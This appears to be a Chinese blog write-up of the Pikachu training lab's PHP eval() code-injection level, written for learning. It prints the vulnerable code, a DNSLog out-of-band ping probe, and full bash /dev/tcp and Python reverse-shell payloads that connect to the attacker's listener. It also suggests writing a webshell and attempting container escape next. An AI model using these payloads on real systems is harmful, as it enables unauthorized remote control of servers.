Pikachu靶场通关笔记(30) — RCE Eval (代码注入与反弹Shell)

55次阅读
没有评论

摘要 / 前言:
在完成了 exec "ping" 的命令执行漏洞练习后,来到了 exec "eval" 模块。与之前的直接操作系统命令不同,eval() 是 PHP 的代码执行函数,它将输入的字符串当作 PHP 代码 来执行。
本次通关演示了从验证 PHP 代码执行,到利用 PHP 调用系统命令进行 DNSLog 外带探测,最终通过 Bash 反弹 Shell 的完整攻击链。


一、漏洞原理简析

后端核心逻辑:

$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
    // 这里出现问题,直接使用 eval 执行用户的输入。....
    if(@!eval($_POST['txt'])){$html.="<p> 你喜欢的字符还挺奇怪的!</p>";}
}

区别:

  • RCE Ping (Command Injection): 主要是 shell_exec, system 等函数,输入的是系统命令(如 ls, whoami)。
  • RCE Eval (Code Injection): 主要是 eval, assert 等函数,输入的是 PHP 代码。如果我们想执行系统命令,需要在 PHP 代码中调用 system() 等函数。

二、通关步骤记录

1. 初始探测:证明 PHP 代码执行

首先验证是否存在 eval 注入。最经典的方法是打印 PHP 配置信息。
Payload:

phpinfo();

结果: 页面直接渲染出了 PHPInfo 的详细表格(如截图所示),证明我们可以执行任意 PHP 代码。

Pikachu 靶场通关笔记(30) — RCE Eval (代码注入与反弹 Shell)

2. 进阶探测:DNSLog 外带

在尝试执行系统命令时,输入 system('whoami');页面正常回显

Pikachu 靶场通关笔记(30) — RCE Eval (代码注入与反弹 Shell)

前提条件 (Docker 坑点):
由于我是 Docker 环境,容器默认没有 ping 命令。但我已经在做上一关 rce_ping 时手动安装了 iputils-ping。如果容器重启且未保存镜像,这里会失效。

Payload:

system('ping -c 4 lugxmn.dnslog.cn');

分析:

  • 这里我们是在 PHP 代码中调用了 system() 函数。
  • system() 内部执行了 Linux 的 ping 命令。

结果:
刷新 DNSLog 平台,成功收到了来自我 IP 的 DNS 查询记录(如截图),证明系统命令执行成功!

Pikachu 靶场通关笔记(30) — RCE Eval (代码注入与反弹 Shell)

3. 终极利用:反弹 Shell

既然 system() 可以执行命令,且我们已经验证了出网权限(通过 DNSLog),现在可以直接构造反弹 Shell,获取服务器权限。

攻击机 (Kali) 监听:

nc -lvp 5566

Payload (注入点输入):

system("/bin/bash -c'bash -i>& /dev/tcp/192.168.93.129/5566 0>&1'");

python版本:适配无 Bash 的极端场景....
(system("python -c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP", 端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'");)

Payload 构造解析:

  1. system("..."): 外层是 PHP 函数,用于执行引号内的字符串。
  2. /bin/bash -c '...': 内层是 Linux 命令,调用 Bash 去执行后续的脚本。
  3. bash -i >& ...: 最内层是经典的反弹 Shell 语法。
  4. 引号嵌套技巧:最外层 PHP 用双引号 ",中间 Bash 命令用单引号 ',避免引号冲突导致语法错误。

结果:
提交 Payload 后,页面虽然可能处于加载状态,但在 Kali 的终端中瞬间收到了连接!
输入 ls,成功列出当前目录下的 rce_eval.php, rce_ping.php 等文件。

Pikachu 靶场通关笔记(30) — RCE Eval (代码注入与反弹 Shell)

三、Docker 环境下的特殊思考

在这次实战中,有两点与传统环境不同:

  1. 工具依赖性
    如果在 rce_eval 这一关直接使用 DNSLog 探测(ping),必须确认容器内安装了 ping。如果是一个全新的纯净容器,system('ping ...') 会因为找不到命令而失败,导致误判漏洞不存在。
    替代方案: 如果没 ping,可以用 system('curl http://DNSLog 域名') 或者 file_get_contents('http://DNSLog 域名') (这是 PHP 函数,不依赖系统命令)。
  2. 权限与隔离
    拿到 Shell 后,执行 ls / -al 看到的目录结构和 .dockerenv 文件提醒我,我依然被困在 Docker 容器内。虽然完全控制了 Web 服务,但尚未触及宿主机核心,后续要考虑容器逃逸以及权限提升。
Pikachu 靶场通关笔记(30) — RCE Eval (代码注入与反弹 Shell)

四、总结

rce_eval 的危害比 rce_ping 更大,因为它不仅能执行系统命令(通过调用 system),还能执行 PHP 逻辑(如 file_put_contents 写 Webshell,或者操作数据库)。

攻击路径总结:
phpinfo() 验证代码执行 -> system('ping dnslog') 验证命令执行与出网 -> system('bash reverse shell') 获取服务器权限。

正文完
 0
评论(没有评论)